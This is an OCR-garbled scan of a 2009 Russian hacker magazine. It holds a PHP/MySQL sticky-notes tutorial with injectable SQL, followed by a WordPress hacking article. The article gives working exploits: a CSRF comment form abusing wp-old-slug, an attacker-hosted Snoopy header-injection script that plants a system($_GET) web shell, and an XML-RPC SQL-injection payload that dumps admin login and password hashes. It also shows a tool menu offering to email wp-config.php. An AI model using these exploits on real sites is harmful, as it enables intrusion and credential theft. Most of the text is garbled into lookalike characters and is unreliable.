Hy)1(HO, '-lTo6bl nepexBaTlilTb 3anpoCbl Ha aApeea co MHOrlo1Mlt1 L\1tl4>epKaMlill.
id:
C 3Toro epeMeHlil3anpocbl8cerAa 6YAYT 06
Qlar1Jl .htaccess 6YAeT CJleAYlOlLlL1M:
text: sometext
paw.aTbCI1 Ha epaCiJ1 dete!e.php, a id Jll1CT04K3
x: ~23-1
-nplo1XOAlt1Tb KaK GET-napaMeTp.
RewriteEngine on
y: 54},*
Mbl 3HaeM npoTOKOfl 06M€l-la Me)f(AY cep
RewriteCond %{REQUEST_FILENAME} !-f
eepoM
RewriteCono %{REQUEST_FILENAME} !-d
~,
~
KM1eHTOM
Itl
y>Ke MO)l(eM
~lanlilC;:lTb
npW-1eM, nepeMeHK<311 board 6epeTcI1 CHa'lana
C4eHapl1lil save,php lt1 delete.php. HO ocra
Rewt"iteRule '" (.
Hawero 4>ar1J1a defaulLhtm, rac eCTb CTpO'lKa:
Blo1M nporpaMMepcKYIO 4aCTb Ha nOTOM. BeAb
[L,QSA]
*)
S index.php?$l
Y Hac OCTaflaCb ew,€ reHepaL(Vl\1 nepBoi1
var board = '7001286217510724517162
crp3Hlil4b1. To eCTb, KorAB y>Ke CTpaHL<1
nOAyMaeM HaA np06JleMoi1 XpaHef'llilI1Io1H!j>opMa
SS85615B74';
48 3arpY3101JlaCb. A8JlbWe BClO pa60TY no
Ulillo1. C03Aa,ll,V1M B MySQL6a3YA8HHbiX COAHO!:1
XAKEP 05/1251 09
~
063
x
XAKEP
>> B::AOM [j] .~AKEP'~ P
file
l:IAA'-:'vt
'l~n"co"K)_I':lOZilia F"~O
x Ii"
c x
I
XA
~
arks Tools Help
~
MOIII
[j]
,.,
iii
'"
•
p
~
@I httpHz/92095022158324!
~ Disabl~" _~ -"C~o~~es" L:i css· D Forms"
"
8PlA~v1~
[] IIlt'<AKEpx~ [] IIlrxAKEpx~ I
View Hlst . 0 ry Boo m _
. ~dlt
x
3anIllCO~KH
v
x
\
@ In~or~.~tio~ .. tjJ Miscellaneous· pl Outline" : : Resize" ~ Tools
jj Images"
I f71 Mn... 'l"n ......nu .......
I ........
I
;~
x
..
_.........
x
K
H~--1
x
lJEJ B r
~
Y2l.-\'lli1 ;) XI
«3Am1C04KI1», PA60TAIOUll1E Y MEH5I HA CEPBEPE
___eU_r:L....ULJ ~ ~ Insp~ct Cleaf Profile Console'" HTMl (5S ~-;t---oeM 13 .tj IX~ not defined
I
€)
Net
~hi •. dr.qq&bl~p~ n~~ ~r.gg.bl.(di~
XJL...
Rtfffeo<e
id
, dvd Ha Al-1CKe - Offline
Explorer, Bee Qla~m>l
c Za.,Ql:oiQJ;.bJslru PHP-CKpV1 nTbi )J,1lf1
»> ""'...
Done
FIREFOX nnArl1H FIREBUG B PE>KI1ME CONSOLE!
3MYflSl~l-1l-1 cep8epHO~
npoCTolii Ta6mll.J,e~ \>1 CJ1e,QylOu.(l1M\I1 noMMI1, Bbl6paHHblMI-l
CTOpOHbI.
Hya delete,php 6Y,l\eT He CJ10>KHee:
VlCXOJ],\1lt13 napaMeTpOB3am1COYU1
DELETE FROM z WHERE id=' S id' AND
id -
e
board - bigint, .nIHi XpaHeHI1~ .aOCKM, B KOTOPOtll
color - tinyint, J1J!R xpaHeHM5i
npeA
<Dai1J1lndex.php. KaK Mbl Y)I(e o6cY>K,D,aJ1l-1. Hy>KeH ,l\J11'! nepea,D. pecau,(1l-1103epa no ero KyKVlca M Ha Heo6xo,ll,ViMYIO CTpaHw·IKy.
HdXOD;wrCfI 3anHCOt.rKa
~BeTa
To eCTb, OH 6Y,l\eT «6paTb» l-1,l\€ HH14l'1l Karop I:\OCK(1 id. KOTO
x - float, .u;n9. xpaHeJ-wI91 X-Koop.o.I1HaTbl
pbli1 XpaH\1TCfl B KyKVlcax, l-1 Bbl6l-1paTb C 6a3bJ ece COOTS€TC
y -
TBylOl.l.\l-1e 3an V1C04Kl-1, a ,l\anbWe BblBO,D,ll\Tb TOT crai'lJl, '1TO Mbl
float, ,lVl$l XpaHe'HYlR y-:-coOPllI1HaTbl
text - varchar(25S) • .aMI XpaHeHl1fr TeKCTd
n0J1Y'H1J1l-1 aT
Offline Browser, (1
B
HeM Me)l(,D,yTeraMV1
<form>
nOMeU(dTb 3anl-1COYKl-1 B 4lopMaTe, KOTOpbll4 ~tbl onpeAel1l-111 l-1 <Dai111
save.php Q'1eHb npocToi1. OH lllilWbAOJDKeH yMeTb
npl-1HYl
CTaBfleH3 m'1Wb B
MaTb Post-AaHHble l1 reHepV1poBaTb Janpoc H8 C03AaHl1e HoBolii
03Hat<OMI1TeflbHbIX
3anIllCO'-lKt1:
Bblwe.
BeE Y HAWI'1X HOr
u,eml):. He Hy>KHQ
Ha C03,ll,aH\J1€
INSERT INTO z SET 'board' = $board' .
nOBTopSlTb r.nynOCTVl33 3STOpOM
board"'$board'
J.111eHTI1<pM.KaTopa 38
,llJI5i xpaHeHt15t
nI1CO'1KM
warning Beq >1H4JopMau,l-1Sl, KOHeYHQ )l(e,
integer,
I
:1.
CalATa
y aSTopa yW€ J l, 3a 'lac.
KdK MI1HI1MyM, Me
Cl'lLt, d Mbl ero CKOn\.1pOSaJ111
'text'='$tezt', 'x'='$x', 'y'='$y',
V1
'color'='$color'
AJlfl TBop4eCTSd orpOMeH, rnaBHoe He JleHI-1TbOl
TaK(1X Caf1TOB celo14ae 04€ H b
MHoro, TaK YTO npOCTOp
n03BOJllO ee6e HanOMH\1Tb, '-110 BCI'! ItlH¢>opMau,V1l'l
-
l-1Jl\ll3anpOC MI1 06HOBJleHL-t1'l ~e cyw,eCTBYIOLl\el1:
np€ , D,CTaBJ1€ H c
JlV1Wb ,o,Jlfl 03HdKOMneHl-1I'!. ECJlI-1
y Te611
BAPyr B03Hl-1KHYT KoKv,e-HVl5YD,b BonpOCbi. TO MO(1 KO
~
064
UPDATE z SET' board' =' $board', 'text' ",' $text' ,
Op,o,l-1HdTbl Tbl CMO.>K€ W b
'x' = '$x', 'y' = ' $y', 'color' = ' $celor' WHERE 'id'='$id'
blt o://tutamccorn
Hai1n1 Ha MoeM CaClT€
Bcer.o,& c pa,o,ocTblO OTB€ 4 Y
101 nOt..wry.
X XAKEP 05 /125/ 09
Maxi RaCing - 3TO BV1PTYaflbHbliil
MVlp
rOHoK Ha TBoeM KOMnbKlTepe!
XO'-leWb 06na,o.aTb eaMblM KpyTblM rOHOYHblM dSTOMo6V1neM? 3HaYV1T -
Maxi Racing AJH~ re651 1
B "'rpe y le6fl eGb B03MO;>KH0C1b KynlllTb aBTo, .Qopa60TaTb era no nOflHoiil LiI IlpoAaTb p,opo;:+(e, a Hd Bblp)"-1eHHble ,QeHbrl-1 KynltlTb HoaylO ra'-lKy, e~e KpY'-Ie. Ho caMoe r!1iJBHoe: n06e)l(JJ,aeWb S ltlrpe - no6e)I(,QaeWb B peallbHOen1! Ka)f(,D,bl~ MeOll..\ HOBbie npltl3blJ Tbl MO>KCWb BblV1rpaTb KOMnOHeHTbl Car Audio & Mobile Media OT Alpine, C1paxoBKy POCHO Hd CBoe aBTO A B KOHl..\e roAa ny'-lwlt1ii1 nOIlY'"lli1T peaJlbHbliil aSTOMo6lilflb - Opel Corsa!
Ml;orO'l"'CfleHHble np"'3b1
01 Alpine
MAXI RACING. Lo1rPAli'llo1 Bbllo1rPblBAIi'I! Bee nOAPo6HOCTlIl IIlrpbl Ha calilTe www.maxi路racing.ru III www.maxj路tuning.ru
POCHO B COCTaBe
Allianz @)
msn.ru
msn.
»
,
,
E:=:AOM
Iii
"
" """. HTTP,f/WAP·CHAT.RU/ inco
WORDPRESS
HnH
npOAOn>KAEM XAK ' ' ",.",
II·
"""l'[&II"""'",o.u.o.:o.
PaMKVl npeAblAYllI,eM CTaTbVl He n03BOJlVlJlVl MHe paCCKa3aTb 0 elll,e He CKOJlbKVlX VlHTepeCHeMWVlX Heony6JlVlKOBaHHbiX Y5'l3BVlMOCH1X Vl 6aHaJlb HblX HeAopa6oTKax WordPress. TaK YTO, CeMyaC Tbl CMO}\{eWb npOYVlTaTb npOAOJl}\{eHVle penetration-TeCTa Vl3BeCTHeMweM 6JlOrOBOM nJlaTcPopMbl. VITa K, n oexaJl VlI
•
CTAH1CH1KA )J.n51 HdYdfla 51 X04¥ np14SeCT\t1 HeKoTopble craH1C
1.S.x 207 6nor08 (O.6%)
MO)KHO nOHSHb, "ITO HaYl60.nee nonynApHblMItll'1
TW·1eO(l'1e AaHHbie l-13l-1CCJle.QOBaHIt1R, KOTopoe
2.0.x -1624 6Jlora (4.8%)
npeACTdBfl51IOUJ,l-1Ml-1 AmI Hac
6blflO npOBeAeHO MHOi1 B CepeAl-1He 5lHSap~ cero
2.1.x -1219 6noroB (3.6%)
e€TKaMVl51BflRIOTC512.3.x. 2.5.x, 2,6.x,
roAa.
2.2.x
12.4.x
vb
2.3.x 4366 6noros (13%)
AefleHHbJM npV1YV1HJM). BTo::t<.e BpeM51 B 3H1X
2.S.x 4343 6nora (12.9%)
BeTKax Hai1AeHo \t1 ony6n V1 KOBaHO 04eHb Mafloe
2.6.x- 8715 6nor-OB 125.9%)
KOfll'14eCTBQ Y513Bl-1MOcTei1 !HanOMHIO. "ITO
3areM 6b1fll-1 pacnapceHbl B nonblTKe onpeAefll-1Tb
2.7.x-5986 6nor-OB (17.8%)
nOCneAHSl51 sql-l-1HbeKUI-1Sl6blflo B naOfll-1Ke B
VlX aepcl-1lO. BOT 'fTO l-13 310ro nonY'1l-1nOcb·
Unknown - 4899 6noroB (14.6%)
2.2.2 Bepcvnd.
BbI)J.a4111 rop51Yo 1l1061'1Moro BCeMI'\ ryrfla 6blflO
CJlY4ai1HbIM 06pa30M 83lHO 33534 YHIIlKaflbHblx 6nora. pa60TdfOll.\l-1X Ha
~
066
Word Press. KOTOpble
2175 6noros (6.4%)
c T06o~
lIIHTepeC
2.7.x
pa3pa6oTYV1KV1 nponycTl-1flV1 no onpe
XAKEP os /125! 09
""
.
....." E: :: lo. (I t>-1
slugs) ) add-post_meta($post_id, '_wp_old_slug' , l\ioM .....
$_POST(' wp-old-slug' J ) ;
000.."""'''
.~" 7',.."
""-" ....
.. "
1>'. r.o ....
~.-.
,~
,-,
, -"<'""'•..:
".~
C'r.'I.OI:
"
(>~ ...,
'-~
.
6. V1, co6cTBeHHo. 3ayeM BeCb 3TOT KO.o. HaM 6btJ1
,~
'~':"~:.,:;.'
~---_.
Hy)KeH, ./wp·includes/query.php:
n ......... "o ...."... "... """""",
........
""'"''
(..l_'"
.......,.".""i-..:'_.._.-'" _ ...JAc_ _ -0_,_'"_.- = ..-. I
e-<_.
... _,s.~...·
~.t
~._"4-e',_11.:
n.~·G.·'M·'.:k~1-:r-4.
".,••,
"
M
.
c~
"',.c;.
"__."".,,
_,~
...... •' "._·w.....",., "'~""","""-;""'''''''''' .... 4.....,_ _ ••"'·.,;.,.,.'v,..;,.. ..... """,,", _",,,,,, on" •" , '..",,, "".l···1 ~
_
..
"y."... J>,'.'"
.. ...........-_._----...... . -. ...
._-_.. _------_ ~.ol;"..,~i'!... i""!~ ..."""'r'-"''b ~
AAMIotHKA WORD PRESS 2.7.1
$query = ~ SELECT post_id FRm.t
,,'SIl ..... , ....
-~--"_
""""-~."
$wpdb->postmeta, Swpdb->posts ~!HERE: TD = post_id AND meta~key = '_wp_old_ slug' AND meta_value=' >query_varS['name']
B nepBoi14acHl CTaTbl<1 >l nOCTapaJlC'll<1Cnpael<1Tb
function wp_insert_
HeJJ,opa3yMeHl-1e. HO, KaK Tbl y;+:.e nOH>lJl, 3TO 6b1Jll1
comment ($commentdata)
$wp~query
wp_redirect($link, '301');
JJ,alleKO He nOCJleJJ,HItl€ npltlBaTHbte YI13Blt1MOCTItl
II Permanent redirect
Bop.o.npecca.
if ( $comrfient_O-pproved ==
WYTKA IOMOPA
exit;
endif;
1)
wp_update~comment_count
npeJJ,CTaBb, '·ITO Ha Hy)KHOM HaM 6Jlore npltl
($comment-post_ID) :
cYTCTByeT neCT CaApecoM hllp:ljlamer! wo23312009/03IZQ/hel[0-world. Tbi X04eWb HdCOJlItlTb!nOAU!YTI1Tb HaJJ. a.o.MItlHOM
1-1
return Sid;
1113 aHam'13a BblwenplilBeJJ,eHHOrO KOAa cneAyeT BblBOA: eCJlI1 8 6AAJ1~ OllpeAeJleHHOrO nOCTa
c.o.eJlaTb
TaK, YTo6bl3TOT nOCTIotMe,1 ew,e lt1 aApec BpOJJ,e
h\ IP:lila merlwp233/2009/03/20/1 h IS, IS -<3
functionwp_update_comment_count ($post_id, $do_deferred=falseJ
npltlcyrcTByeT 3Ha4eHl1e <c_wp_old_slug». TO no HeMy npOBot:\l1TC51 pe,o,ItlpeKTHCl HClCTOSlll.l111i1
<;lIckpr'-po-s1
aApec nona. Yro6bl Ao5aBItlTb 3TO 3HalleHl1e,
Pa3pa6oTYlt1Kl<1 BopAnpecca c paAOCTblO npeJJ,o eTa BJ1'lfOTTe6e T3KYfO 303MO;+cHoeTb l Ho 4TO :no:
TBOi1 KOMMeHT3pl1i1 AOIl::t:.eH 6blTb 3aannpyBlleH.
6ar 11m'! q,w·la - ~ He 3HcHO:J
e] sei f ( $post_id ) {
KaK OCT3BMlTb KOMMeHTapVlItl 5e3 npOBepKl1
return wp_update_comment_count_
AJl~ HayaJlC! JJ,eTaJ1bHO pa36epeM c.1<2XJHL13M
CTaTbl<1
nm" ($post_idl ;
nOeTItlHra KOMMeHTapv111 BnOCJle,qHei1 Ha MOMeHT Hanlo1eaHItlSl eTaTb01 eepCc.101
Mo.o.epaTopa, Tbl y>Ke 3HaeWb no nepeoi14acTI1 AMI
J
Tenepb, HaKOHel.\-TO, rOTOBbl~ 3Kcnl1oHr
Hawe~
WYTKI1
2.7.'
1. Q)ai1JlI-1K wp-comments-post ph p
la
Tal()I(e wp-trackback.phpl. Yepe3 KOIOPbl~
functionwp_update_comment_count_
<html>
now ($posC_id)
<formaction="http://lamer.cam/
npoxOJJ,I1T Bce KOMMeHTapl-ll-l l1MeeT 8 ee6e
h~/wp-trackback.php?p""[ID_DOCTAJ"
cneAYIOUJ,l-li1 KOA:
method="post">
Ta~Tll: <input name="title"
do_action ( 'edit_post' , $com.-'lIentdata "" co:npact ( 'comment_ post_ID' , 'cownen~~author',
$post~id,
Spost) ; return true;
'comment_ author_url', 'co:nme:l.t_content' ,
$comnent_id = \"lp_Oel.·ccomment ( $conunentdnta ) ;
Comment:<input name="excerpt"
4.Action edit_post onpe.o.eneH 6./wp-includes! default-filters.php·
2. 3Ty tPyHKl.\lt110 Mbl MO)KeM J1erKOOTbICKaTb B I 5. HaXOJll1M Hy)l(HyfO HaM (j>yHKUl1lO B Jwp
functionwp_check_for_changed_ slugs ($post_idl {
it ( lisset($_POST['wp-old-slug']) II ]strlell(S_POST['wp-old-slug']l } ~~_insert_co~ent($co~nenldata);
XAKEP 05/125/ 09
I><br/>
<Itarm>
</html>
B nOlle «Slug)} 8CTa6Jl~~ HOBoe l1M~ xOA~w,ero
,qJl~
no,q
nona 11 nOKa3bl8atil CCl,I!lKY a.o.MIo1HY.
Ha6lllOAa513a ero peaKL\l1etil.
HE6E30nACHblH SNOOPY
$comment_ID =
3. TaM ~e nJ:0BOAl-1M HetOllbwoi1 peaepCl1Hr:
<input name="blo9_name"
value="Blog~
<input type= "submit " value=·ok"l> indudes!post.php:
function Np_neolccoroment
($corrmentdaca)
value=""I><brl>
Slug: <input name="wp-oJd-slug"
value=""I><br/>
add_action ('edit....post', 'wp_check~tor_changed-slugs');
wp- includes!co m m em. php:
URL:<input name="url"
value="ht.tp:II%/la.com"I><br/>
'com~ent_aucho~_email',
'coromer:.t_type', 'cowment.""parent', 'user_ID') :
value"""commenter"I><br/>
HaCTaJlO SpeMs:l CAeJlaTb ell.le O,D.l1l1 peeepaHC B
I I if we haven't added this old slug before, add it now
CTOpOHy npeAblAyw,e~ CTaTbltl, KaK Tbl.
Ha8ep~
i f (lcount($o1d_slugs) II !in_ array ($_POST l 'wp-old-slug' J, $old_
Jl1050My 3aperl-olCTpl1pOBa HHOMY nOJlb30SaTefllO C
Hoe. nOMHl-oIWb, Word Press 2 5.x-2.6.x n03BOn51Jl JlerKOCTblO nOAMeHSlTb RSS-$l1Abl a Dashboard.
~
067
» ·1, I
B:: .'\ 0 t·,·1
I·..../I>O'~~~ ~,H
"'
"
'.
,~
,.
..
~
"'
"".Ql a'~l
~,
"
Uf.Qt
~,
2,6,3
''.. ~
t¥.Q'
2,o-~
~
~.
"
"'
w.~,
2.6.' 2,6.2
t .... m
eY'9'
2.7.1
" APXHB PEm130B BOPAnPECCA
w~
-~
1 says:
April 7, 2009 at 11 :45 pm (Edit)
[ ... ] Ser<l'er: .4pacne/2.2.4 (Win32) mOd_S:SI12\4 OpenSSUO.9.8d PHP/S.2:.4 X-Powered·6y: PHP/S.2.4 popa: 111 location: file:///c:boot.ini Content-length: 0 Connection: close Content-Type: text,lhtmlj [ ...]
,~
m'
PINGBACK-KOMMEHTAPHIii
PaCKonaB 3TOT 33MeY3TeJ1bHbli16ar HeMHoro rny6)t(e, Mbl Cl1erKOCTblO CMQ>t<eM ;J,06V1TbCSI ebInOnHeHl'l51 npQl.13BOnbHOrO KO,Qa Ha cepeepe. r~e
Directory Y: \tmp is not write able!
yCTaHOBneH 6nor. V1TaK, BcnOMHl'lM 06 o6Hapy>t<eHHo~ 3a6yropHblMltl KOAO KonaTenSlMIo1 code exec y5!3811MOCnl B Kn3CCe Snoopy. KOTOPblf1 npVlcyrcTsyeT TaK)t(e 14 B BOPAnpecce. C3M3 YS13Blt1MOCTb B BOPAnpeccoBcKOM Snoopy 6blna nponaT4eHa c nOMOlllbKl escapeshellcmd ew,e B 1.5.x seTKe. HO. TeM He MeHee, pa3pa6oT4HKl'l B3S1nl'1 V1 V1CnOpTlt1J1V18n0I1He pa60Tocnoco6Hbl~ KOA HenOrl5!THbiM naTyeM e eepcl4\>12.6.3. ~
Aora,o.bIS3KlCb. yeM oHlt1AYManlt1, CMOTp5! H3 noCT ;J,ee6J1ora CT8Kl'lMl'l
CJ10BaMV1:
A vulnerability in the Snoopy library was announced today. WordPress uses Snoopy to fetch the feeds shovm in the Dashboard. Although this seemt; Lo be a low risk
vulnerability for WordPrcss users, we wanted to get an update out immediately.
URL
~tP:1I Username
~
]
[I
:J
Password
AT3K>Ke npltl cpaBHeHlt11t1 KOAa Snoopy 1013 Word Press <; 2.6.2:
exec (escapeshellcmd ($this->curl-path." -0 \" $headerfile\" " . $crodl i.nc...,params.· \" •. $safer_ URI."\·").$resulls,$return); - CKO,n,OM Snoopy 1013 Word Press
<;
2.6.5:
exec (Sthis->curl_oach." -k -D \" $headerfile\" , . $cmdline-params." \"". cscapeshellcmd{ SURI). "\"" ,$results,$return); BTOPO~ KOA - 3TO o4JLo1u.Lo1anbHbl~ naTY pa3pa6oT4l'lKOB Snoopy. KOTOpbli:1
3a:<pblsaeT npeAbI.QyUJ,ltli:1 code exec (HO He 3aKpbIBaeT HOBblL7II. 3a6aBHo, He
<i Upload file [http:// To Vwp-contentltest. php r Custom command
r Send wp-config.php to email
r Make user admin (need db login data)
IGet it pwned!
npas,o,a 11101? 3a4eM naTYIt1TbTO. '"ITO i'l TaK 6bl110 Hennoxo npOnaT'-leHO? OTBeTbl Ha 3Tltl sonpOCbl Mbl Bp51,o,lll'l y3HaeM. TaKaI' xaflaTHOCTb pa3pa6oT'-llt1K08 OTKpblnil MH€ nyTb K 3aMe4aTenblW~
3KCn110liiT RAZoR'AAl151 SNOOPY
ySl3BltlMOCTL-1. Ho 060 seeM no nop5!AKY 1. Cnoc060M 1013 nepBo~ Y8CTV1 CTaTblo1 pe,n,aKTl'lpyi:1 llt06yKl RSS-JleHry Ha rnaBHO~ CTpaHIt1u,e a,l:\MLo1HKV1. npV14eM aApec CTaBb Ha C80i1 Xl.1TPbl~ CKpl<1nT,
2. TonbKO Ha CLo1CT€MaX, rAe curlyCT2HOBJ1eH D lusrltocal/bin!curl [Hal-16onee
Hanpl<1Mep. hUQ:U1amercorn/code €xec.php;
pacnpoCTpaHeHHa5! CltICTeMa CTaKl-1M KOH¢Jlt1rCM - FreeBSDI. TaK KaK 3TOTC8
2. CKpl<1nT code-exec php,n,Oll>K€H cO;J,ep)KaTb cl1e,n,YtOLlILo1~ KO.Q:
Mbli1 npeCJ10Byrbli1 nyrb)KecTYU nponV1caH B Iwp-includes/class-snoopy,php, nJlfOC 6V1HapHIt1K Kypl1a np06ep5!eTCIl Ha cyw,ecTBoe3Hltle It1l-1CnOJ1HLo1MOCTb:
<?php header ( 'set-cookie: 'echo \' <?php system ($_GET [aa]); ?>\' > .. /wp-content/test.php';cooka');
if (!$this->curl-path)
return false;
if(function_exists(~is_executable·})
header ( .. LocatiOn: htcps: Ilchto-ugodno. com/?feed=rss2");
if
?>
reLurn false;
(!
is_executable ($thi.s->cur1-Pd-th) )
nOCJle c08epWeHIt1513TIt1X Aei1cTBLo1M Ha Hy)t(Hbli16Jlor 13 !wp-conlenUlest.php
3. 3TO pa60TaeT. nOTOMy ,-/TO Snoopy nOMep>t<t>1B2e T nepea~pecal\Lo1tO [.00 5
3aJlbeTCS1 weJ1Jl, Tenepb pa36epeM. rAe
pa3 no Ae¢oJ1Tyl.
t1
n04eMY 3TO e03MO>KHO:
1. TOflbKO Ha Word Press 2.6.3. 2.6.5 [2.6.4 npoCTO He 6bIJlO. a B2_7 Snoopyyxe
80 BpeMSI Hee OH MO)t((>TycTaHoBI1Tb KyKLo1Cbll'l APyrL-le X3,Qe
pbl. KOTopble nOlJJileTCepBepHbli1 CKplo1nT. KaK MO>KHO nOHSlTb 1t13 nce6AonaT
npaKTl'l4eCKlo1 He V1cnoJ1b3yeTcSll COTKpbITOi1 peri'lcTpal\Vlelil. Heo6xOAIt1MO~
43, HaA¢It1J1bTpaL\V1ei1 X3fJ.epOB nplo1 nepe,Qaye VlX B exed!- HV1KTO. KOHe4HO >Ke.
AJJSI pe,o,aKTIo1p08aH1II5! PCC-¢V1,!l.OB;
He 3a,o,YMblB3flC5!.
~
068
XAKEP OS 1125/ 09
»
_,_u _" _ ".
r-·---
E: 3."'. 0
t·.·1
~WORDPREsS'bac
,_.. ,"_,,4.' "---'--'-'
""""---..... ~.=l ,.,." =::;;::'::::';';:'":~~~-:-~':'..::::::- ....~""'-"-" ...... ~ ..."'-'.........'~........,....",."'..."'-',
i
,
rI
PINGBACK-OTBET rOBOPHT HAM, 4TO ECTb TAKOL1 <l>AL111 B CHCTEME
~
·se.QlniaJ;om!
SECURITY-THKETbl BOPAnPECCA 3arOJlOBKax. Hanpl'lMCp. Mbl CMO;.(J~M nepe.o.aTb np0L-13BOllbHbll1
HOST cneAYIOUJ,lilM o6paaoM:
e Snoopy. 2. ./wp-includes/post.php function wp_insert_ottachment($object,
Sfile = false, $parent = 0)
<?php
header(·Locat~on:
M~~.!.jr.L~s/n3.61 advisory Ha 3HaMeHa
TellbHYIO Abi PY
4. 3TO pa60TaeT He TOflbKO B KyKJo1Cax. riO l-l 80 MHorl-1X .o,pyrlllx
KOA B 3arolloBKe
I
links
https://lal'my evil
• (or_e.tC<F.~!Qt:g'pgl!.~; org - I1CTOpltlSl ecex
6aroB BopAnpecca. • wordpress.orgl dovtotQad ~ CKa4aTb
command' . com' ) ;
nOClleAHlO1O sepcl1lO
?>
Word Press.
XIr1TPbllil UPLOAD Ha 04epeAl.1 - 3a MeY2TeflbHaR SQL -VlHbeKL\V1R,
o6Hapy
$obj ect = Io.--p...,parse_drgs (Sobj ect, $defaults);
• wonjpress.orgl
extracL($objecL, EXTR_SKIP);
develQprnenl/2008/10/
)l<eHH35l TOBapl-1w,eM 3fleKTOM 50JlbWe rOiJ,a Ha3a.o. 80 8CeX
Yt:o.rrl'p~_s.-2_6J -
BOPAnpeCCax sepclt1f12.2.x-2.3.x. An" ee
Aee611ora, nOCBSl
V1cn0J1b30BaHlt1R
~3epAOm'l(eH 06,l3,qaTb npas3MV1 «upload_files»
ABTopafPe,QClKTopal. PaCCMOTpetM
V1CXOAHblf1
ITo eCTb. POJlb
KO)J, v,HTep¢c\.1
ca ,Qf!5! YA3neHH0f1 ny6nl-1K311l-1 V1 BWord Press ~ xmlrpc.php
IAa-Aa, V1M€HHO
B
::ITOM ¢aCine 6blno o6Hapy*eHo H81160nbwee ,QBl1%KaL B V1HTep¢e~ce npl1cyrCTeyeT
noCT
l1\eHHbI~ BblXOAY 2.6.3
BepCl'll1 Word Press.
if ($update) {
• wlthdk.com/ac<;biYf_~
Swpdb- >query (
"UPDATE
$~~'Pdb->posts
SET
IL ihol rl_orbit raC'L
post_author = '$post_author',
Ide_9<;:_cess.{Ldf
post_date = • Spost_date' ,
Yfl3BI1MOCTb
OTCblfl KOCi KepYHKlJ,I1V1 mw~r,ewMediaObiect. nposej\€ M He
post_date_gmt = '$post_c1ate_gmt·,
pe,Ql1peKTa BcurL
60JlbllJoCi peaepCI1Hr·
post_content = '$post_content',
YV1CJlO SQL-V1HbeKlJ)1i:i
MeTOA metaWeblog.newMediaObject.I=lBJl}lIOW,I1~cs:t
npSlMoCi
post_content_filtered : 1. ./xmLrpc.php
'Spost_content_filtered' ,
functionmw_newMediaObject($args)
post_title = 'Spost_title', post_excerpt = 'Spost_excerpt' , post_status = '$post_status', post_lype = . $post_type' ,
Sblog_ID = (int) $args(OJ;
comment_status = 'Scomment_status',
Suser_login = $wpdb->escape($args[ll);
ping_status = '$ping_statlls' ,
Suser-pass = Swpdb->escape{$args(2));
post-.-.passworC! = '$post....,password'
Saaed = Sargs(3];
post_name = • $post_name' to---.ping = '$to-Ping', pinged = '$pinged', post~modified =
Sname = sanit':'ze_file-llame{ $data!'name') );
Stype = Sddti'l (' :ype'
J ;
Sbits = SdaLa('bits'];
.
,-----------'
, " . current_t ime ( 'mysql ' ) .
post modified_gmt ;::
'" . current_time ('mysql' ,1) ."' , post--parent = '$post.....parent',
i>
menu_order = '$menu_order',
info
posl_mime_type '" '$post_mime_type' ,
• CnacI160 RazOr 3a j.lanl.1caj.llAe code
'post_title' => Sname,
quid = 'Sguid'
exec 3KCnJlO~Ta j\Jlfl
'post_content' => ' , ,
INHERE
SatLachment = array (
ID = $post_ID") ;
Word Press 2.6.x. a TaK
'post_Lype' ,,> 'attachment',
)l(e Elekt 3a npe,QocraB
'post.,.parent' => Spost_id,
JleHHble Yl'I3elAMOcTIo1.
'post~rnime_type'
=> $type,
'guid' => $upload[ 'ur]'
)
,
npOCflej\I1B 8eCb nyrb nepeMeHHO~ $type. Tbi n0l4MeWb, ~TO HI1I<TO He n03a6OTi'lflCS'I 0 ee ¢ll1flbTpaLJ;1111 nepe,Q eCT3sKOc:t e
:I. n03TOlvlY Mbl llerKO CMO)l(eM npOltlH.>KeKTI1Tb
II Save the data
SQL-3anpoc
Sid = \"'P_insert_altachmenl. ( $attachment,
UPDATE-3anpoc, Hanpl1Mep, nocnas TaKoi1 POST-naKeT K
$UplOdd l 'file'
J, $post_id ) ;
xmLrpc.php:
<?xml version=Wl.OW encoding="UTF-7
•
"?><methodCall>
<methodName>~lP.uploadFile</rnethodName>
XAKEP 05/12S/ 09
~
069
»
j
I:
B::.o\OM
: ij:1 I
I
,.,
. t
_. ..
_"="
"OK
r =U
_nn
••
'"
•. - .
-'1
'w::' ,
,
!. i
A new \/ersion of Won::lf'ress is ol.'Jol.,l"ble" P1eMe LlP._~~!.!!~
I'
I
!I.
,
.
•
1/
xxx.gif [view I links I ~ncel ]
128
URL
[='':dCm7m-,C271023~2C1'2::C:9=-?a~7·a5a743894a0e4a801~3
Tille 'XX)<:~.
. __
:.:z'~
,7.:_:~
.....
]
/~----~ Save »1
Oescrlpt:ion --_.
-~
Delete Filel
PE3YflbTAT BbmOflHEH~51 SaL·~HbEKI..l~~ B XMLRPLPHP 1021 1022
1005 1006
$headerfile .. tellpnaml$te.p_cl.ir. ·sno"';
~__ ~.___
1007
~5 ~
$safer_UP..I • serer( fURI. "'"., • • I; II strip quotes froll the URI eo avoid shell access exec(eseapesh'lllcad.($eh.is->eurJ.-patb.· -D \ "fb••dart:!.l«'·· .$calllineJlara.s.· , •• _$:lul.te"_UIlI.·'·"j ,fre"",lts.$:l:etunl); .>1;_0;: (fthis->c:ul'J. !leh.· -k -D \ " $headlu: file' ' •• $c"'dlin.ylU"illIl.s.· \ ... esc:apesh.llcadUUllIJ .", .. Arll!sults.Jretoun);
1008
it ($ return)
1009
3flOnOflY4HbiJ/l CHANGESET B SNOOPY
nposepl<e CYLlleCTBOBdHIMl 11106oro tPa~Jla Hd
<params> <param><value><string>l</string></ value><!param> <param><value><string> [Jr1MR_ABTO PAl </string></value><!pararn> <param><value><string> [nAPORb_AB TOPA] <!string></value></para.m>
ywe.o,wero B He6blHle Snoopy. ~TaK, Y513BI1MOCTb
Baplo1aHTal 0 Ka4eCTee TpaHcnopTu http-,QaHHbIX
<param><struct>
KypJl3 3aKJlJO'-laeTC51 BTOM, I.JTO OH Cpa.QOCTblO
Bop,Qnpecc 8bl6l.1paeT KypJl:
<member> <name>name</name>
MO)KeT np0'-lKTaTbAJl51 Te651 He TOJlbKO y,o.a.neH
Hble ¢a~J1b1 no http,HolilJlOKanbHbleCnOMoLl.l,GIO
function
<value>xxx gif</value>
npe¢Vl Kca «file:!!»! Ho. KaK npaSKJlo. npe¢l-1KCbl
=:
</member> <member> <naroe>type</name>
JlOCb 6bl, «file:!/}) 3alOJaTb HeBOJMO>KHO. OJJ,HaKo
<value>gif', (select concat(user_
nepeaApeeau,1011O c nOMow,blO epJlara «CURLOPT_
login, ' : ' ,user-pass) from wp_users limit 1)) I*</value>
FOLLOWLOCATION». To eCTb, - nOACTaSVlB
